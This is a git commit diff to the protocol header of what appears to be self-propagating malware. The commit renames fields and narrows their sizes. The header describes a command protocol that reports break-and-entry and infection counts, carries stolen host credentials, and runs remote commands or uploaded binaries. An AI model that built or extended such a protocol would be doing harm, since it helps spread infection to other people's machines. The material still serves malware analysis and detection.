diff options
author | David Timber <mieabby@gmail.com> | 2020-08-21 16:58:23 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-08-21 16:58:23 +0930 |
commit | 076671e7aa28451de087088c2e47f9e6064ae434 (patch) | |
tree | 68c1bd3ed02c3491996a060cbeb4d4430366cdf6 /src/protocol.h | |
parent | d1f520233b807f0ac4cc4019ce88759262f3c9bf (diff) |
Protocol change ...
* Add series of macros for protocol: prne_getmsbN() and prne_recmb_msgN()
* Bugfix: prne_nstreq()
* Protocol changes
* prne_htbt_host_info.rerun_cnt -> prne_htbt_host_info.crash_cnt
* prne_htbt_host_info.host_cred_len: range 0 - 255
* prne_htbt_host_info.host_cred is now base64 string
* prne_htbt_bin_meta.args_len: 16bit to 12bit
* Rest reserved bits
* And PRNE_HTBT_ARG_MEM_MAX is set to 4095
Diffstat (limited to 'src/protocol.h')
-rw-r--r-- | src/protocol.h | 28 |
1 files changed, 15 insertions, 13 deletions
diff --git a/src/protocol.h b/src/protocol.h index 2de0f97..09fa837 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -87,14 +87,14 @@ typedef enum { * uint8_t instance_id[16] * uint64_t parent_uptime : in seconds * uint64_t child_uptime : in seconds - * uint64_t rerun_cnt : rerun count * uint64_t bne_cnt : break-and-entry count * uint64_t infect_cnt : infect count ( <= 'bne_cnt') + * uint32_t crash_cnt * uint32_t parent_pid * uint32_t child_pid - * uint16_t cred_size + * uint8_t host_cred_len * uint8_t arch : `prne_arch_t` value - * uint8_t cred[cred_size] + * uint8_t host_cred[host_cred_len] */ PRNE_HTBT_OP_HOST_INFO, /* Hand Over Operation @@ -120,7 +120,8 @@ typedef enum { * TODO * * Followed by - * uint16_t args_len : the length of 'args' + * uint4_t rsv + * uint12_t args_len : the length of 'args' * char args[len] : the series of null-terminated string for exec*() */ PRNE_HTBT_OP_RUN_CMD, @@ -129,7 +130,8 @@ typedef enum { * * Followed by: * uint24_t bin_len - * uint16_t args_len + * uint4_t rsv + * uint12_t args_len * char args[args_len] * uint8_t bin[bin_len] */ @@ -139,7 +141,8 @@ typedef enum { * * Followed by: * uint24_t bin_len - * uint16_t args_len + * uint4_t rsv + * uint12_t args_len * char args[args_len] * uint8_t bin[bin_len] */ @@ -190,7 +193,6 @@ struct prne_htbt_status { struct prne_htbt_host_info { uint64_t parent_uptime; uint64_t child_uptime; - uint64_t rerun_cnt; uint64_t bne_cnt; uint64_t infect_cnt; uint32_t parent_pid; @@ -198,8 +200,8 @@ struct prne_htbt_host_info { uint8_t prog_ver[16]; uint8_t boot_id[16]; uint8_t instance_id[16]; - uint8_t *cred; - uint16_t cred_size; + char *host_cred; + uint32_t crash_cnt; prne_arch_t arch; }; @@ -224,7 +226,7 @@ typedef prne_htbt_ser_rc_t(prne_htbt_dser_ft)(const uint8_t *data, const size_t #define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 99 + 3 + 255 + 255) // PRNE_HTBT_OP_HOST_INFO #define PRNE_HTBT_PROTO_PORT (uint16_t)64420 #define PRNE_HTBT_ARGS_MAX 1024 // _POSIX_ARG_MAX equiv -#define PRNE_HTBT_ARG_MEM_MAX 4096 // bash limit +#define PRNE_HTBT_ARG_MEM_MAX 4095 // bash limit const char *prne_arch_tostr (const prne_arch_t x); @@ -247,11 +249,11 @@ void prne_init_host_cred (prne_host_cred_t *hc); bool prne_alloc_host_cred (prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len); void prne_free_host_cred (prne_host_cred_t *hc); bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b); -prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const uint8_t salt, const prne_host_cred_t *in); +prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const prne_host_cred_t *in); prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out); void prne_htbt_init_host_info (prne_htbt_host_info_t *hi); -bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_size); +bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_strlen); void prne_htbt_free_host_info (prne_htbt_host_info_t *hi); bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b); @@ -266,7 +268,7 @@ void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb); bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b); prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in); -prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in); // TODO: test +prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in); prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in); prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in); prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in); |